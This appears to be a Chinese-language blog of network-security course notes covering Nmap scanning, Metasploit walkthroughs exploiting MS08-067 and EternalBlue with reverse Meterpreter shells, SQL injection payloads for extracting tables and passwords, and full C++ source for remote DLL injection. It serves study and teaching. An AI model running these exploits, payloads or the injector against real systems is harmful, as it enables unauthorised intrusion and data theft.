网络安全笔记

第三章 信息收集和网络扫描

枚举服务

枚举是一类程序,允许用户从一个网络中收集某一类的相关系;DNS枚举可以帮助用户收集如用户名,计算机名,IP地址等,可以使用DNSenum工具。要进行SNMP枚举,用户需要使用SnmpEnum工具,,允许用户分析网络内部SNMP信息传输。

whois工具

可以用来查询域名注册信息,也可以进行信息反查

子域名查询

www.searchdns.netcraft.com

DNS区域传送

指的是一台备用服务器使用主服务器刷新自己的域,这为允许中的DNS服务提供了一定的冗余度,其目的是为了防止主的域名服务器因为变得故障而不可用影响到整个域名的解析.
请添加图片描述

通过域传送漏洞 可以得到子域名信息和其对于的IP地址

网络映射工具 Nmap

Nmap是一个免费的网络扫描和嗅探工具包,也叫做网络映射器,该工具的基本功能如下:

  • 探测一组主机是否在线

Nmap -sP 192.168.64.3

  • 扫描主机端口
┌──(parallels㉿kali-linux-2021-3)-[/usr/share/metasploit-framework/modules/payloads]
└─$ nmap  192.168.64.1
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-17 12:54 CST
Nmap scan report for 192.168.64.1
Host is up (0.00089s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
445/tcp  open  microsoft-ds
5000/tcp open  upnp
7000/tcp open  afs3-fileserver
9090/tcp open  zeus-admin

或者用-p参数指定端口范围

nmap -p 192.168.64.2
  • 推断主机所用操作系统(识别系统指纹)
nmap -O 192.168.64.3
Nmap -sV 192.168.64.3

ARP 侦查工具 Netdiscover

可以用来发现自己网络上的ip

渗透测试

概念

渗透测试就是一种通过模拟恶意攻击者的技术与方法,击败目标系统安全控制措施,取得访问控制权,并且发现具有业务影响后果安全隐患的一种措施

分类

白盒测试

渗透测试者在拥有客户组织所有知识的情况下所进行的渗透测试.进行白盒测试的团队可以了解到关于目标环境的所有内部与底层知识.

黑盒测试

设计为模拟一个客户对组织一无所知来进行渗透攻击. 攻击者需要自己进行目标定位与情报收集.

灰盒测试

就是与上述两种测试的混合体

流程

  1. 前期交互阶段(收集用户需求,准备测试计划,定义测试范围与边界,定义业务目标)

  2. 情报搜集阶段(尝试获取目标组织网络拓扑,系统配置,安全防御措施)

  3. 威胁建模阶段(理清需求与情报)

  4. 漏洞分析(考虑如何获取目标系统的访问控制权)

  5. 渗透攻击阶段(利用找到的目标系统的安全漏洞来真正入侵系统,获得访问权限)

  6. 后渗透攻击(根据目标组织的业务经营模式,来自主定义一个最佳的攻击方式)

  7. 报告阶段(向客户组织提交一份渗透测试报告)

Metasploit
专业术语

Exploit

请添加图片描述

paylod

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wWzmFM6d-1645858708768)(/Users/regan/Library/Application Support/typora-user-images/image-20220214151225860.png)]

模块(module)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K2HJKVp5-1645858708768)(/Users/regan/Library/Application Support/typora-user-images/image-20220214151336256.png)]

Listener

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lWpsvsvL-1645858708768)(/Users/regan/Library/Application Support/typora-user-images/image-20220214151404661.png)]

命令

search命令

用来查找漏洞

use命令

使用攻击软件模组

set命令

可以用来设置攻击代码(payload),攻击IP,攻击端口

back命令

返回上一级模块

connect命令

连接一台主机

exit命令

退出控制台

info命令
可以查看漏洞信息

使用show option 可以查看我们需要配置的选项

请添加图片描述

MS08-067攻击实例

漏洞介绍

该漏洞爆发于08年年底,MS08-067漏洞是通过 MSRPC over SMB 通道调用 Server 服务程序中的 NetPathCanonicalize 函数时触发的,而 NetPathCanonicalize 函数在远程访问其他主机时,会调用 NetpwPathCanonicalize 函数,而在 NetpwPathCanonicalize 函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行。

第零步:启动Metasploit控制台

msfconsole

第一步:在Metasploit中搜索用于攻击该漏洞的模块

msf6 >search ms08-067

请添加图片描述第二步:使用该模块

msf6 > use exploit/windows/smb/ms08_067_netapi

请添加图片描述

第三步:查看目前有的攻击载荷

msf6 exploit(windows/smb/ms08_067_netapi) > show payloads 

请添加图片描述

第四步:设置攻击载荷(即在远端要执行的操作)为反向TCP连接

msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp

请添加图片描述

第五步:查看要设置的参数

msf6 exploit(windows/smb/ms08_067_netapi) > show options 

请添加图片描述

第六步:设置参数

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.1.19
msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.1.29

请添加图片描述

第七步:查看攻击目标并且设置攻击目标

msf6 exploit(windows/smb/ms08_067_netapi) > show targets 
msf6 exploit(windows/smb/ms08_067_netapi) > set target 7

请添加图片描述

请添加图片描述

第八步:开始攻击

msf6 exploit(windows/smb/ms08_067_netapi) > set target 7

请添加图片描述
第九步:攻击成功,返回到Meterpreter

使用exploit初始化攻击环境并且对目标进行攻击,攻击成功后会返回一个反向连接方式的Meterpreter攻击载荷的会话.我们可以直接输入shell得到目标系统的命令行界面.

这里的反向连接意思是,攻击成果后,目标主义会发起一个反向连接,连接到LHOST中指定的IP的地址,反向连接可以帮忙绕过防火墙的入站流量保护,穿越NAT网关

Meterpreter

在Metasploit框架中有一个著名的工具Meterpreter,该工具在渗透攻击阶段提供了强大的功能,他是一个支持多操作系统平台,可以仅仅驻留与内存中并且具有免杀能力的高级后门工具,他实现了特权提升,信息获取,系统监控,调班攻击等多样化功能.

MS17-010攻击实例(永恒之蓝)

第一步:a搜索永恒之蓝漏洞

msf6 > search ms17-010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

第二步:利用针对该漏洞的攻击模块

msf6 > use exploit/windows/smb/ms17_010_eternalblue

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp

第三步: 查看参数

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options 

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasp
                                             loit
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 200
                                             8 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2
                                             , Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows
                                             7, Windows Embedded Standard 7 target machines.
Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.20     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

第四步:设置参数

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.21
RHOSTS => 192.168.1.21
msf6 exploit(windows/smb/ms17_010_eternalblue) > set target 1
target => 1

第五步:攻击

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit 
[*] Started reverse TCP handler on 192.168.1.20:4444 
[*] 192.168.1.21:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.1.21:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7600 x64 (64-bit)
[*] 192.168.1.21:445      - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.1.21:445 - The target is vulnerable.
[+] 192.168.1.21:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.21:445 - Sending egg to corrupted connection.
[*] 192.168.1.21:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 192.168.1.21
[+] 192.168.1.21:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.21:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.21:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (192.168.1.20:4444 -> 192.168.1.21:49163 ) at 2022-02-17 15:54:08 +0800

meterpreter > shell
Process 2800 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Windows\system32>

第五章 网络后门攻击与防御

后门定义

其实所谓网络后门就是把自己设计的程序装入他人他人开发和维护的系统,通过使用后门攻击者可以获得网络的访问权,控制权. 后门是一个允许攻击者绕过系统中常规安全控制机制的程序,按照攻击者自己的意愿提供通道,可以绕过系统的常规性安全控制机制的程序,

后门的安装

  • 攻击者可以自己植入后门,通过某种普通的开发技术拥有系统的初始化入口,丽日缓冲区溢出,系统错误配置等.

  • 欺骗受害者自己安装

  • 后门为攻击者提供的系统权限取决于安装该后门用户的权限等级

无端口后门

软件后门

一般是程序开发人员在开发阶段别有用心特意留下的一个后门.

ICMP无端口后门

现在的防火墙会对系统中各个端口进行监听,可以用力ICMP协议(基于IP)来绕过TCP,IP协议,也就绕过了端口.

请添加图片描述

后门软件自启动
  1. windows自启动文件和文件夹
  2. 通过注册表实现自启动
  3. 通过组策略实现自启动

木马

基本概念

木马是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点.

基本特性,如下

  • 隐蔽性是其首要特征

  • 具有自启动性

  • 木马程序具有欺骗性

  • 自动恢复功能

  • 打开特别端口

  • 功能的特殊性

  • 区域公开化

木马分类
  • 远程控制型木马

灰鸽子,冰河等

  • 发送密码形木马
  • 键盘记录形木马
  • 破坏型木马
  • FTP型木马
  • DOS攻击型木马
木马与后门,病毒的区别

后门只提供通道,而木马又提供通道,又把自己隐藏起来

病毒是为了搞破坏,勒索别人,而木马是为了监视和盗窃别人密码

网页木马漏洞 MS06014

缓存区溢出攻击

定义

缓存区溢出就是在大缓冲区中的数据向小缓冲区的数据赋值过程中,由于没有注意小缓冲区的边界,"撑破"了较小的缓冲区,从而覆盖了与小缓冲区相邻的内存区域.

缓冲区溢出漏洞可以修改内存中变量的值,可以劫持进程,执行恶意代码,最终控制主机

PE文件

PE文件简介

PE文件格式可以把可执行文件分成几个数据节(SECTION),不同的资源存放在不同的节中

请添加图片描述

TEXT节:由编译器产生,存放二进制文件的机器代码,是反汇编和调试的对象

DATA节:存放全局变量,静态变量,宏定义

RDATA节:可实现文件所使用的动态链接库等外来函数信息与文件信息

ISRC节:存放程序的资源,如图表,菜单等

PE文件地址与虚拟内存地址之间的映射关系

(1).用静态反汇编工具看到的PE文件中某条指令的偏移实际上是相对于整个文件来说的,即文件偏移.我们还需要使用动态反汇编来弄清楚这条指令在内存中的位置

(2).调试的时候看到的指令是虚拟内存地址,我们需要回到PE文件找到这条指令对应的机器码,即文件偏移

下面有三个名词:

文件偏移地址

装载地址(IMAGE BASE)

虚拟内存地址(VA)

相对虚拟地址(RVA)

明显:VA=IB+RVA

在windows系统中,一般情况下装载地址是0x00400000. 文件偏移是相当于文件开始处0字节开始计算的,而RVA是相对于装载地址计算的,但是OS在加载程序时,基本上保持了PE中的各种数据结构,所以文件偏移和RVA有很大关系

其次就是PE存放在磁盘上时候以0x200字节为单位进行存储的,而在内存中是以0x1000为基本单位进行存储的,因此内存中数据节相对于装载地址的偏移量和文件中数据节的偏移量有一些差异,在进行转换时需要考虑节偏差

文件偏移地址=虚拟内存地址(VA)-装载地址(IMAGE BASE)-节偏移=RVA-节偏移

内存的不同用途

不同的OS,一个进程可被分配到不同的内存区域去执行,但进程使用的内存可以按照功能大致分为4个部分

  1. 代码区:存储被装入执行的二进制代码

  2. 数据区:存储全局变量

  3. 堆区:进程可以在堆区动态请求一定大小的空间,然后还给堆区

  4. 栈区:用于动态地存储函数之间的调用关系,以保证被调用函数在返回时恢复到母函数中继续执行

函数调用过程中ESP,EBP的变化过程

image-20220225222328333

WEB安全

XSS攻击(跨站点脚本攻击)

反射性XSS攻击防御

该攻击主要是因为用户恶意输入的JS代码被当做数据嵌入到HTML代码中,然后返回IE浏览器端进行解析,因此就有了被执行的机会. 为了防御该攻击,一般可用转义来处理.

存储形XSS攻击

就是把包含恶意的JS代码存入后台数据库中,当其他用户来访问该页面时,存储在后台数据库中的恶意代码就会返回给用户,这样攻击就产生了.

DOM base XSS攻击

这种类型的攻击完全不经过服务器,直接在客户端就可以进行攻击.

XSS 蠕虫攻击

现在,加入某个攻击者用自己的社交网站发送一条存储型XSS攻击,如

CSRF(跨站点请求伪造攻击)

该攻击方法是通过伪造来自受信任用户的请求访问受信任的网站,以达到修改账号信息,篡改账号等非法目的,CSRF攻击不大流行但是难以防范.该攻击需要依靠用户的cookie,欺骗用户的浏览器发送http请求给目标站点

SQL注入

定义

应用程序在向后台数据库传递SQL查询时候,如果攻击则有能力影响该查询的能力,就会引发SQL注入.

案例:SQL注入产生的原因

在服务器端有一行代码:

$getid="select first_name,last_name from user where user_id='$id'"

当攻击则在USER ID输入框中输入:'or 2=2--'的话,真正在服务器端将会执行

select first_name,last_name from user where user_id='' or 2=2 --''

因为or的存在,所有的查询条件都会变为true

注意点:

  1. 单引号要成对,不能少
  2. 可以使用--或者#来注释后面的信息

SQL注入漏洞的测试

测试攻击测试

直接在输入框中输入一个单引号,看看会不会报错


利用数据库服务器的错误提示信息

(1).利用GROUP BY HAVING 子句获取列明信息

a). 一开始什么信息都没有

Select * from userinfo where username='mao' and password='123' having 1=1--'

执行上面代码,服务器会返回一个列名,表示userinfo.id无效,然后把它加进group by 中

Select * from userinfo where username='mao' and password='123' group by userinfo.id having 1=1--'

执行上面代码又会得到一个userinfo.username 无效,然后把它加进group by 中

Select * from userinfo where username='mao' and password='123' group by userinfo.id,userinfo.username having 1=1--'

然后以此类推…

原理分析:

一开始会通过where后面的条件对元组进行筛选,然后会使用group by对找到的元组进行分组,然后对每一组都可以使用聚集函数计算,最后再用having筛选.

Select * from userinfo where username='mao' and password='123' group by userinfo.id having 1=1--'

通过上面代码得到的结果一共五列,但是group by 后面的元组只有userinfo.id 一列, 不对齐,所以就会报错,然后一次可以列举出所有列名


(2).利用数据类型转换错误来得到属性值

比如一个字符串类型的数据

select * from userinfo where id='1' and 1=0/email

email明显是一个字符串,这个时候数据库服务器会报错,就会将email原有的数值打印出来

(3).利用union猜测select语句可能的列数

比如,原始服务器代码中使用如下代码:

$getid="select first_name,last_name,password from user where user_id='$id'"

我们想知道它在服务器中查询了多少个数据, 那么可以使用union试探,原理就是union可以把两次查找的数据都合并到一起(竖着),前提就是列数一样,所以我们可以用union进行试探

select first_name,last_name,password from user where user_id='' union select 1#' ;会报错,id=' union select 1#
select first_name,last_name,password from user where user_id='' union select 1,2#'会报错,id=' union select 1#
select first_name,last_name,password from user where user_id='' union select 1,2,3#'不会报错

(4). 利用数据库infomation_schema中的系统表TABLESCOLUMNS

请添加图片描述
" style=“zoom: 50%;” />

image-![请添加图片描述](https://img-blog.csdnimg.cn/1554f0d90f664520b76a28818f7d4cf9.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAUmVXeg==,size_20,color_FFFFFF,t_70,g_se,x_16)

上面的两个图分别说明了TABLES表和COLUMS表有什么列名,其中重点都被勾出来了, 我们可以利用这两个表查询出数据库有哪些表名,表有哪些属性名

如下,可以查出数据库有哪些表(其中id=' union select TABLE_NAME from information_schema.TABLES#)

select first_name,last_name,password from user where user_id='' union select TABLE_NAME from   information_schema.TABLES#' ;

如下可以查出某个表有哪些列(其中id=' union select TABLE_NAME from information_schema.TABLES#)

select first_name,last_name,password from user where user_id='' union select COLUMN_NAME from information_schema.COLUMS where TABLE_NAME='xxxx' #' ;

通过上面获得的表命,列名就可以来窃取信息了,比如想列出表中所有用户名,密码

select first_name,last_name,password from user where user_id='' union select user_name,password from user_info #' ;
预防SQL注入
  1. 通过高级语言提供的接口,使用参数化查询
  2. 在前端和后端对用户的输入进行验证
  3. 使用存储过程
  4. 对用户输入的特殊字符进行转义

密码学基础

密码学功能

  • 机密性

仅有发送方和接收方才能理解传输的报文内容

  • 鉴别

发送方和接收方都可以互相鉴别对方.

  • 报文完整性

确保报文在传输的过程中不被改变

  • 不可否认性

收到报文后,要证实报文确实发送方,发送方也不能在发送报文后否认自己发送过报文

对称加密

加密和解密所用的密匙都是一样的,这称为对称加密.

优点:效率高

缺点:双方在通信的过程中除了要传数据还要传密匙,密匙可能会被窃取

常见的对称加密算法有:AES,RC4,DES,3DES

原理:用一个公式就能说清楚,加入有一个bit序列A,我们生成一个密匙B,那么密文C=A^B,如果想得到明文A=C^B

Feistel网络

请添加图片描述

上图仅代表Feistel网络的一轮输入,上面两个框框代表输入的数据,被分为左右两部分,下面两个框框代表输出数据,被分为左右两部分,左侧是被加密的,右侧则不是,中间的框框代表子秘钥,指的是本轮加密所用的秘钥,

在Feistel网络中每一轮每一轮的子秘钥都不同. 轮函数的作用是根据右侧和子秘钥生成一个比特序列,然后使用该比特序列对左侧进行加密.

总结一下,步骤如下:

(1).数据分为左右两侧

(2).将右侧的直接输出

(3).将输入的右侧送到轮函数,与子秘钥一起生成一个比特序列

(4).对左侧数据与(3)生成的序列进行异或运算,生成左侧加密序列,然后输出

因为右侧没有加密,所以下一轮要加密的应该是右侧,所以每一轮结束后需要对调

请添加图片描述
" style=“zoom:33%;” />

Feistel网络如何解密呢?

只要把得到密文按照相反的顺序来一遍就可以成功解密了!

非对称加密

非对称加密算法是指有一把公钥和私钥,用公钥可以加密,私钥可以解密,公钥是公开的任何人都可以知道,私钥则是必须保密的,决不能泄密

RSA就是一种非对称加密算法,还有ECC也是

HASH算法

单向散列函数的性质

  • 任意长度的消息计算出来固定长度的散列值

  • 计算速度够快

  • 消息不同散列值不同

  • 具备单向性

消息摘要算法的应用场合

张三传一个文件给李四,李四怎么知道文件有没有被人篡改呢?只需要张三和李四都对文件进行计算摘要值即可.

数字签名

数字签名:使用私钥对原始数据的摘要进行加密后所形成的密文

数字证书:把一个公钥和该公钥的拥有者的名字连起来

数字证书格式标准内容:①使用者的公钥值②使用者标识信息③证书的有效期④颁发者表示信息

颁发者的数字签名:用来证明使用者的公钥和使用者的标识符信息之间的绑定的有效性

判断:验证数字证书的真伪通过证书中心(CA)

CSP:加密服务提供程序,是执行身份验证,编码和加密的服务程序.

信息安全

信息安全的目标要求:机密性、完整性、可用性、抗否认性,确保信息的可用性,保密性,完整性,不可否认性

网络安全的层次

  1. 物理安全
  2. 逻辑安全
  3. 操作系统安全
  4. 联网安全

DLL 注入

通常注入技术分为两种:一种直接向对方进程空间使用写内存的方式写入代码,另外一种就是将病毒代码写到DLL文件中,然后让注入进程加载此DLL(这样更加安全,更加隐蔽)

DLL 程序开发

DLL的入口函数是DLLMain,当DLL被程序加载或者卸载的时候,windows都会调用DLL的入口函数,原型如下

BOOL WINAPI DLLMain(HINSTANCE hinstalDD,DWORD reason,LPVOID lp);
/*
第一个参数值自身动态链接库的实例句柄,第二个参数是调用原因(DLL_PROCESS_XXX,其中XXX可取ATTACH,DETACH或者DLL_THREAD_ATTACH,DLL_THREAD_DETACH)
*/

DLL工程框架搭建好之后就可以把指定代码写到这个DLL中,通常是封装成类或者函数,然后再把完成的函数导出即可.

我们在主文件编写一个导出函数

_declspec(dllexport) void test() {
    MessageBox(0,"box","title",0);
}

注意:如果导出的dll是给c程序使用,那么需要加上 extern "C"

DLL的使用

  1. 装载期间加载动态链接库

我们只需要在应用程序工程中导入dll工程生成的lib库文件,在链接的时候就会链接该导入库对应的dll文件

我们可以使用伪指令

#pragma comment(lib,"/usr/lib/xxx.lib")

来告诉编译器需要使用哪些链接库

  1. 运行期间动态链接

在程序运行过程中使用LoadLibrary函数去加载,原型如下:

HMODULE LoadLibrary(LPCTSTR name)// 参数为dll路径,要加载的dll文件名,可以是绝对路径也可以是相对路径

返回的是加载的模块句柄,即加载内存后的首地址

当把dll加载到进程空间后要想调用dll文件中导出的函数,还需要使用GetProcAddress()函数得到函数的地址

FARPROC GetProcAddress(HMODULE hmodle,LPCSTR name)// 两个参数分别是dll句柄和函数名称

该函数会返回一个函数地址,定义如下

typedef int (FAR WINAPI * FARPROC);

实例:

dll文件

#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{

    return TRUE;
}

EXTERN_C _declspec(dllexport) void test(const char * msg) {
    MessageBox(0,msg,"title",0);
}


调用文件

#include <windows.h>
typedef void(*TEST)(const char *);
int main() {
	//test();
	HMODULE  id=LoadLibrary("C:\\Users\\regan\\source\\repos\\My_dll\\x64\\Debug\\My_dll.dll");
	TEST t=(TEST)GetProcAddress(id, "test");
	t("okoko");
	FreeLibrary(id);
	return 0;
}

DLL远程注入

通常使用LoadLibrary函数加载一个DLL动态链接库,但是该函数只能在本身进程中加载动态链接库,他无法令其他进程加载DLL,如果想让其他进程加载DLL,那就必须想办法控制其他进程执行LoadLibrary函数.

所以我们可以使用WINDOWS系统提供的远程进程机制,即本地进程可以促使其他进程开启并且运行一个线程.可以使用CreateRemoteThread函数,其定义如下

WINAPI HANDLE CreateRemoteThread(
	HANDLE hProcess,//进程句柄
  LPSECURITY_ATTRIBUTES lpthreadattributes,//
  SIZE_T dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddres, //线程函数的起始地址
  LPVOID lpParameter, // 对应的参数
  DWORD dwCreationFlags,
  LPDWORD lpThreadId
)

该函数提供了令其他进程执行指定代码的方法,所以如果想要其他进程执行LoadLibrary函数加载DLL,只需要让远程进行执行即可.

问题1:如何获取远程进程中的LoadLibrary函数地址?

因为LoadLibrary函数都是由Kernel32.dll 提供的,而该库是win32系统基本库,也就是说几乎所有进程都会加载这个模块,所以绝大多数程序都可以调用这个函数,所以 我们只需要在本地进程中把LoadLibrary函数的地址传进去就可以.

问题2:远程进程中执行LoadLibrary函数所需要的参数怎么得到?

因为我们的Load函数是在远程进程中执行,所以需要的参数也得在远程进程中得到, 解决这个办法的话就需要使用windows提供的系统库函数OpenProcess,VirtualAllocEx,WriteProcessMemory,VirtualFreeEx

具体步骤如下

  1. 使用OpenProcess函数打开进程,获得句柄
  2. 使用VirtualAllocEx在远程进程的虚拟内存空间中申请分配空间
  3. 使用WriteProcessMemory把参数信息写入
  4. 使用VirtualFreeEx释放内存空间信息
HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
//该函数执行成功之后会返回
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess, // 句柄
  [in, optional] LPVOID lpAddress, //期望分配的地址,一般为NULL
  [in]           SIZE_T dwSize, //分配的大小
  [in]           DWORD  flAllocationType, //分配的类型
  [in]           DWORD  flProtect // 内存访问权限
);
//该函数执行成功后会返回分配内存的空间首地址
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess, //进程句柄
  [in]  LPVOID  lpBaseAddress, //远程目标 写入的 起始地址
  [in]  LPCVOID lpBuffer, // 本地进程 待写入的地址
  [in]  SIZE_T  nSize, // 大小
  [out] SIZE_T  *lpNumberOfBytesWritten // 返回值,实际写入的字节数
);
BOOL VirtualFreeEx(
  [in] HANDLE hProcess, // 进程句柄
  [in] LPVOID lpAddress, // 释放的内存首地址
  [in] SIZE_T dwSize, // 大小,必须为0
  [in] DWORD  dwFreeType//释放内存的时候必须为MEM_RELEASE
);

实例:

先写一个简单的程序,待会我们就向该进程注入DLL

#include <windows.h>
#include <iostream>
using namespace std;
int main2233(){
	int count = 1;
	while (true) {
		cout << count++ << endl;

		Sleep(1000);
	}
	return 0;
}

然后写一个DLL动态链接库,该链接库会在被加载的时候执行MessageBox函数(实际上,你也可以在该函数里执行更加复杂的操作)

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    MessageBox(0, "remote inject!", "title", 0);
    return TRUE;
}

然后写一个注入程序

#include <iostream>
#include <Windows.h>
using namespace std;
//该宏定义指定了我们要注入进程的PID
#define PID 12112

// 这个是我们要注入dll动态链接库的存放位置 
char param[128] = "C:\\Users\\regan\\source\\repos\\My_dll\\x64\\Release\\My_dll.dll";

int main() {
  // 第一步,打开远程进程,从而获得远程进程的句柄. 第一个参数表示获得所有权限,第二参数表示是否继承该句柄,第三个参数为打开进程的PID
	HANDLE hremoteprocess=OpenProcess(PROCESS_ALL_ACCESS,TRUE,PID);
 
  // 判断一下 上面打开进程函数是否执行成功,如果不成功直接结束程序
	if (hremoteprocess==INVALID_HANDLE_VALUE) {
		cout << "sorry,some wrong occur!";
		return 0;
	}
	else {
		cout << "open specific process successfully!";
	}
//申请给远程进程分配一片内存空间,大小与我们上述的参数一样都是128,第四个参数固定为MEM_COMMIT,最后一个参数表示该片内存区域可读可写
	LPVOID remotebuffer=VirtualAllocEx(hremoteprocess,NULL,128,MEM_COMMIT,PAGE_READWRITE);
// 判断一下远程进程的内存是否申请成功,如果不成功则结束程序
  if (remotebuffer ==NULL) {
		cout << "can't allocate memery!";
		return 0;
	}
	else {
		cout<<endl << "allocat memery successfully! "<<endl;
	}
 // 然后把我们上面的param这个128字节的字符串数组写进远程进程中
	bool res = WriteProcessMemory(hremoteprocess, remotebuffer,param,128,NULL);
  // 看看是否写成果,如果不成功则结束程序
	if (res==false) {
		cout << "can't write memery!"<<endl;
		return 0;
	}
	else {
		cout << "write successfully!"<<endl;
	}
	//然后就可以 在远程进程中创建一个线程,用这个线程执行LoadLibrary, 第一个参数为进程句柄,第二个和第三个固定为NULL,第四个参数为该线程要执行的函数,第五个参数为被执行函数的参数地址,最后两个都固定为0和NULL
	HANDLE remote_thread=CreateRemoteThread(hremoteprocess,NULL,0,				  (LPTHREAD_START_ROUTINE)LoadLibrary,remotebuffer,0,NULL);
  // 看看远程线程是否创建成功,如果不成功则结束进程
	if (remote_thread==INVALID_HANDLE_VALUE) {
		cout << "can't create remote thread!";
		return 0;
	}
  // 等待远程线程执行完成
	WaitForSingleObject(remote_thread,INFINITE);
	// 然后释放我们刚刚申请的内存空间
	bool res2 = VirtualFreeEx(hremoteprocess,remotebuffer,0,MEM_RELEASE);
  // 看看是否释放成功,如果成功就结束
	if (res2) {
		cout << "inject  successfully!";
		CloseHandle(hremoteprocess);
	}
	else {
		cout << "inject failed!";
	}
	return 0;
}

先执行我们刚刚写的将被注入的程序

请添加图片描述

然后执行我们的注入程序

请添加图片描述
" style=“zoom:33%;” />

可以看到注入成功.

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ReWz

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值